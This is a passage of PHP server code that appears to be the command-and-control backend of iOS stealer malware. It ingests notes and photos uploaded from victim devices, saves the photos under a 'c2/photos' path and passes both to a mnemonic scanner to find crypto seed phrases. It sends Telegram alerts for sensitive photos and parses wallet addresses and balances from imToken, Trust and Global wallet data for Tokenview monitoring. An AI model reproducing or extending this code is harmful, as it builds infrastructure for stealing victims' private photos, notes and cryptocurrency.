// Tokenview not configured or unsupported chain → switch off.
|
|
if (! $this->tokenview->shouldMonitor($address)) {
|
|
if ((int) $address->monitor !== 0 || (bool) $address->monitor_synced || (int) $address->monitor_failures !== 0) {
|
|
$address->monitor = 0;
|
|
$address->monitor_synced = false;
|
|
$address->monitor_failures = 0;
|
|
$address->save();
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
// Try to register with Tokenview.
|
|
try {
|
|
if ($this->tokenview->syncMonitor($address)) {
|
|
// syncMonitor() flips monitor_synced=true on success.
|
|
return;
|
|
}
|
|
} catch (\Throwable $e) {
|
|
Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
|
|
'wallet_address_id' => $address->id,
|
|
]);
|
|
}
|
|
// syncMonitor returned false or threw — transient API failure.
|
|
// Keep monitor=1, ensure monitor_synced=0 for retry by scheduled task.
|
|
if ((bool) $address->monitor_synced) {
|
|
$address->monitor_synced = false;
|
|
$address->save();
|
|
}
|
|
Log::info('tokenview sync failed, keeping monitor=1 for retry', [
|
|
'wallet_address_id' => $address->id,
|
|
]);
|
|
}
|
|
|
|
/**
|
|
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
|
*/
|
|
public function ingestNotes(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
|
return;
|
|
}
|
|
|
|
$items = NoteContent::fromList($payload['list']);
|
|
if ($items === []) {
|
|
return;
|
|
}
|
|
|
|
$hash = NoteContent::hash($items);
|
|
$existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first();
|
|
if ($existing) {
|
|
Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete();
|
|
if (hash_equals((string) $existing->content_hash, $hash)) {
|
|
return;
|
|
}
|
|
$existing->forceFill([
|
|
'content' => $items,
|
|
'content_hash' => $hash,
|
|
])->save();
|
|
app(MnemonicScanService::class)->dispatchNotes($device);
|
|
|
|
return;
|
|
}
|
|
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => $items,
|
|
'content_hash' => $hash,
|
|
]);
|
|
app(MnemonicScanService::class)->dispatchNotes($device);
|
|
}
|
|
|
|
/**
|
|
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
|
|
*
|
|
* @return array{0: ?int, 1: ?int}
|
|
*/
|
|
public static function decodeHexCounterPair(mixed $packed): array
|
|
{
|
|
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
|
|
return [null, null];
|
|
}
|
|
|
|
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
|
|
}
|
|
|
|
/**
|
|
* @param array{
|
|
* x_hit?: ?int,
|
|
* upload_count?: ?int,
|
|
* process_index?: ?int,
|
|
* text_count?: ?int,
|
|
* barcode_count?: ?int
|
|
* } $meta
|
|
*/
|
|
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
|
|
{
|
|
if (! $device->albumStorageEnabled()) {
|
|
return;
|
|
}
|
|
|
|
$stored = 0;
|
|
foreach ($filePaths as $path) {
|
|
if (! is_file($path)) {
|
|
continue;
|
|
}
|
|
$bytes = file_get_contents($path);
|
|
$sha = hash('sha256', $bytes);
|
|
// Same file content → skip DB insert (idempotent).
|
|
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
|
|
continue;
|
|
}
|
|
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
|
Storage::disk('local')->put($rel, $bytes);
|
|
$photo = Photo::query()->create([
|
|
'device_id' => $device->id,
|
|
'sha256' => $sha,
|
|
'path' => $rel,
|
|
'size' => strlen($bytes),
|
|
'x_hit' => $meta['x_hit'] ?? null,
|
|
'upload_count' => $meta['upload_count'] ?? null,
|
|
'process_index' => $meta['process_index'] ?? null,
|
|
'text_count' => $meta['text_count'] ?? null,
|
|
'barcode_count' => $meta['barcode_count'] ?? null,
|
|
]);
|
|
app(MnemonicScanService::class)->dispatchPhoto($photo);
|
|
$stored++;
|
|
}
|
|
|
|
$xHit = $meta['x_hit'] ?? null;
|
|
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
|
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
|
}
|
|
}
|
|
|
|
private function extractDeviceModel(?array $payload): ?string
|
|
{
|
|
if (! is_array($payload)) {
|
|
return null;
|
|
}
|
|
$info = $payload['deviceInfo'] ?? null;
|
|
if (is_array($info)) {
|
|
foreach (['productType', 'machine', 'model'] as $key) {
|
|
if (! empty($info[$key]) && is_string($info[$key]) && $this->looksLikeHardwareModel($info[$key])) {
|
|
return $info[$key];
|
|
}
|
|
}
|
|
}
|
|
foreach (['machine', 'm', 'deviceModel'] as $key) {
|
|
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeHardwareModel($payload[$key])) {
|
|
return $payload[$key];
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function extractIosVersion(?array $payload): ?string
|
|
{
|
|
if (! is_array($payload)) {
|
|
return null;
|
|
}
|
|
$info = $payload['deviceInfo'] ?? null;
|
|
if (is_array($info) && $this->looksLikeIosVersion($info['productVersion'] ?? null)) {
|
|
return trim((string) $info['productVersion']);
|
|
}
|
|
$sv = $payload['systemVersion'] ?? null;
|
|
if (is_array($sv) && $this->looksLikeIosVersion($sv['ProductVersion'] ?? null)) {
|
|
return trim((string) $sv['ProductVersion']);
|
|
}
|
|
if (is_string($sv) && $this->looksLikeIosVersion($sv)) {
|
|
return trim($sv);
|
|
}
|
|
foreach (['v', 'pv', 'ios', 'ios_version'] as $key) {
|
|
if ($this->looksLikeIosVersion($payload[$key] ?? null)) {
|
|
return trim((string) $payload[$key]);
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function looksLikeHardwareModel(string $value): bool
|
|
{
|
|
return (bool) preg_match('/^[A-Za-z]+\d/', $value);
|
|
}
|
|
|
|
private function looksLikeIosVersion(mixed $value): bool
|
|
{
|
|
return is_string($value) && $value !== '' && (bool) preg_match('/^\d+(\.\d+){1,3}$/', trim($value));
|
|
}
|
|
|
|
private function shouldReplaceModel(mixed $current, ?string $incoming): bool
|
|
{
|
|
if ($incoming === null || $incoming === '') {
|
|
return false;
|
|
}
|
|
$current = trim((string) $current);
|
|
|
|
return $current === '' || ! $this->looksLikeHardwareModel($current);
|
|
}
|
|
|
|
private function shouldReplaceIos(mixed $current, ?string $incoming): bool
|
|
{
|
|
if ($incoming === null || $incoming === '') {
|
|
return false;
|
|
}
|
|
|
|
return ! $this->looksLikeIosVersion($current);
|
|
}
|
|
|
|
/**
|
|
* Normalize `/api/user/status` shapes into address rows.
|
|
*
|
|
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
|
*/
|
|
private function normalizeStatusAddressRows(array $payload): array
|
|
{
|
|
$ba = $payload['ba'] ?? null;
|
|
if (is_string($ba)) {
|
|
$decoded = json_decode($ba, true);
|
|
$ba = is_array($decoded) ? $decoded : null;
|
|
}
|
|
if (is_array($ba)) {
|
|
return $this->normalizeBaAddressRows($ba);
|
|
}
|
|
|
|
$ad = $payload['ad'] ?? null;
|
|
if (is_string($ad)) {
|
|
$decoded = json_decode($ad, true);
|
|
$ad = is_array($decoded) ? $decoded : null;
|
|
}
|
|
if (is_array($ad)) {
|
|
return $this->normalizeAdAddressRows($ad);
|
|
}
|
|
|
|
if (isset($payload['data']) && is_array($payload['data'])) {
|
|
return $this->normalizeLegacyDataRows($payload['data']);
|
|
}
|
|
|
|
return [];
|
|
}
|
|
|
|
/**
|
|
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
|
|
*
|
|
* @param array<string, mixed> $ba
|
|
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
|
*/
|
|
private function normalizeBaAddressRows(array $ba): array
|
|
{
|
|
$out = [];
|
|
foreach ($ba as $address => $assets) {
|
|
if (! is_string($address) || $address === '' || ! is_array($assets)) {
|
|
continue;
|
|
}
|
|
$balance = [];
|
|
$chainType = '';
|
|
foreach ($assets as $asset) {
|
|
if (! is_array($asset)) {
|
|
continue;
|
|
}
|
|
if ($chainType === '') {
|
|
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
|
|
}
|
|
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
|
|
if ($symbol === '') {
|
|
continue;
|
|
}
|
|
$balance[$symbol] = WalletSource::formatBalance(
|
|
$asset['balance'] ?? 0,
|
|
$asset['decimal'] ?? $asset['decimals'] ?? null
|
|
);
|
|
}
|
|
if ($chainType === '') {
|
|
$chainType = WalletSource::inferChainType($address);
|
|
}
|
|
$out[] = [
|
|
'address' => $address,
|
|
'chain_type' => strtoupper($chainType),
|
|
'balance' => $balance,
|
|
];
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
|
|
* Trust: [ { address, symbol, balance, decimals }, ... ]
|
|
*
|
|
* @param array<mixed> $ad
|
|
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
|
|
*/
|
|
private function normalizeAdAddressRows(array $ad): array
|
|
{
|
|
if (array_is_list($ad)) {
|
|
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
|
|
$byAddr = [];
|
|
foreach ($ad as $item) {
|
|
if (! is_array($item)) {
|
|
continue;
|
|
}
|
|
$address = (string) ($item['address'] ?? '');
|
|
if ($address === '') {
|
|
continue;
|
|
}
|
|
if (! isset($byAddr[$address])) {
|
|
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
|
if ($chain === '') {
|
|
$chain = WalletSource::inferChainType($address);
|
|
}
|
|
$byAddr[$address] = [
|
|
'address' => $address,
|
|
'chain_type' => strtoupper($chain),
|
|
'balance' => [],
|
|
];
|
|
}
|
|
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
|
|
if ($symbol === '') {
|
|
continue;
|
|
}
|
|
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
|
|
$item['balance'] ?? $item['value'] ?? 0,
|
|
$item['decimal'] ?? $item['decimals'] ?? null
|
|
);
|
|
}
|
|
|
|
return array_values($byAddr);
|
|
}
|
|
|
|
// Global Wallet: address → opaque scalar (not balance) → store empty string
|
|
$out = [];
|
|
foreach ($ad as $address => $value) {
|
|
if (! is_string($address) || $address === '') {
|
|
continue;
|
|
}
|
|
$out[] = [
|
|
'address' => $address,
|
|
'chain_type' => WalletSource::inferChainType($address),
|
|
'balance' => '',
|
|
];
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
|
|
*
|
|
* @param array<mixed> $data
|
|
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
|
*/
|
|
private function normalizeLegacyDataRows(array $data): array
|
|
{
|
|
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
|
|
$out = [];
|
|
foreach ($items as $item) {
|
|
if (! is_array($item)) {
|
|
continue;
|
|
}
|
|
$address = (string) ($item['address'] ?? '');
|
|
if ($address === '') {
|
|
continue;
|
|
}
|
|
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
|
if ($chainType === '') {
|
|
$chainType = WalletSource::inferChainType($address);
|
|
}
|
|
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
|
|
$out[] = [
|
|
'address' => $address,
|
|
'chain_type' => strtoupper($chainType),
|
|
'balance' => [
|
|
$symbol => WalletSource::formatBalance(
|
|
$item['balance'] ?? 0,
|
|
$item['decimal'] ?? $item['decimals'] ?? null
|
|
),
|
|
],
|
|
];
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
}
|